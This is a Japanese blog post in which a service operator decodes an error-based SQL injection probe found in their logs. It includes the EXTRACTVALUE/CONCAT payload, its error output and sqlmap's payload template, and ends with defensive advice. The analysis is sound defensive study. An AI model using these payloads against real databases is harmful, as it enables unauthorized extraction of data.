運用していたサービスにSQLインジェクションのような文字列が来たので調べてみた(XPathインジェクション)

3 min read読了の目安(約3400字

こんにちは。
本日、運用してたサービスのエラーログを見てたところ不審なログがあり、SQLインジェクションじゃないか?と思いまして調べた話です。

一応先に言っておくと、エラーメッセージを活用して情報を取ろうとしていて(XPATH Injection)、その事前確認のSQLのようでした。

埋め込まれようとしていた文字列

外側に関しては省きますが、埋め込もうと考えられていた文字列は以下です。

EXTRACTVALUE(8172,CONCAT(0x5c,0x716a766271,(SELECT (ELT(8172=8172,1))),0x7178717171))

ちょっと整形したものが以下です。

EXTRACTVALUE(
 8172,
 CONCAT(
  0x5c,
  0x716a766271,
  (SELECT 
   (ELT(8172=8172,1))
  ),
  0x7178717171
 )
)

まずはググってみてそれっぽいのが無いか調べた

まず、EXTACTVALUE SQLインジェクションで調べてみたところ、すぐに徳丸さんのブログが引っかかります。

https://blog.tokumaru.org/2012/12/blind-sql-injection-php-exploit.html

詳しく見ていくと、エラーメッセージに情報を埋め込む手段と非常に似ており、この手の手段であることを確認しました。
わざとXPATHのエラーを起こして、サブクエリの結果をCONCATで先に展開して目的の文字列を取得する手法のようです。(これをXPATH Injectionを呼ぶそうです)

実際の中身に関して

実際の中身の数字などに関して調べました。

EXTRACTVALUE(
 8172, -- 特に意味はなかった
 CONCAT(
  0x5c, -- どうやら「\」のこと
  0x716a766271, -- 特に意味はなかった
  (SELECT 
   (ELT(8172=8172,1))
  ),
  0x7178717171 -- 特に意味はなかった
 )
)

ということで、すでにそこまで意味がなかった数値に関しても判明していますが、当初は0x716a766271という数値に何か意味があるのではないかと思って検索をしたところ、同じようにアタックをされようとしているサイトが出てきてますます何かあるんじゃないかと思ったのですが、結論としては特に意味はありませんでした。

サブクエリ部分について

SELECT (ELT(8172=8172, 1)) の部分ですね。

ELTに関して調べたところ、以下のサイトを見ました。

https://it7c.hatenadiary.org/entry/20100629/1277769183

どうやら、ELT(8172=8172, 1)ELT(1, 1)となり、最終的には1が返ってくるっぽい事がわかりました。
なので、実質SELECT 1と同義でした。

ELTが使われているのはなぜなのかよくわからなかったです。文字列を返却するというのを利用したかったのでしょうか・・・?

展開後SQLはこのようになりました。

EXTRACTVALUE(
 8172,
 CONCAT(
  0x5c,
  0x716a766271,
  '1',
  0x7178717171
 )
)

実際のクエリ結果を確認した

これは最初に確認したのですが、当初は色々含めて確認していたのでいまいち何をしているのかよくわからなかったので、なんとなくわかってきた今、再度確認しました。

select EXTRACTVALUE(8172,CONCAT(0x5c,0x716a766271,'1',0x7178717171));

XPATH syntax error: '\qjvbq1qxqqq'

こういうエラーが出ました。

この文字列は、\qjvbq1qxqqqがくっついた物だと判断できました。
そして0x716a7662710x7178717171がhex文字列であることも理解できました。

全貌がわかってきた

色々整理すると

select EXTRACTVALUE(8172,CONCAT('\','qjvbq','1','qxqqq'));

となりました。

徳丸さんの記事を見ると、わざとEXTACTVALUEでエラーを起こして、この際にEXTACTVALUEの第2引数がエラーメッセージとして出力されてしまうためそれを利用したものであることがわかります。
結果的に、この8172という数字はどんな値でも良いことがわかりました。\でエラーを起こすだけなので。

そしてどうやらqjvbqqxqqqという文字列は正規表現でマッチングさせるために使っているようでした。なのでどんな文字列でも結果部分がちゃんと取得できる文字列であれば問題ないようです。

最終的に、SELECT (ELT(8172=8172, 1))は実際に攻撃ができるかどうかを確認するためのSQLだったということですね。

sqlmapというアプリケーションに同じものが載っていた

私は知らなかったのですが、sqlmapというSQLインジェクションを検査するためのアプリケーションがあるようです。

https://github.com/sqlmapproject/sqlmap

そちらに同様のコードがテストとして載っていました。

https://github.com/sqlmapproject/sqlmap/blob/master/data/xml/payloads/error_based.xml#L224-L246
<test>
    <title>MySQL &gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
    <stype>2</stype>
    <level>1</level>
    <risk>1</risk>
    <clause>1,2,3,8,9</clause>
    <where>1</where>
    <vector>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))</vector>
    <request>
        <payload>AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))</payload>
    </request>
    <response>
        <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
    </response>
    <details>
        <dbms>MySQL</dbms>
        <dbms_version>&gt;= 5.1</dbms_version>
    </details>
</test>

ほんとまんまなテストコードですね。MySQL5.1.5からEXTACTVALUE関数が追加されている関係で5.1以上のテストとなっているようです。

最後に

今回たまたまこういったエラーログが流れてきたのでどういうものなのか見ていきました。
この手のInjectionを防ぐにはリアルなエラーメッセージを出さないようにするというのが不可欠です。非常に勉強になりました。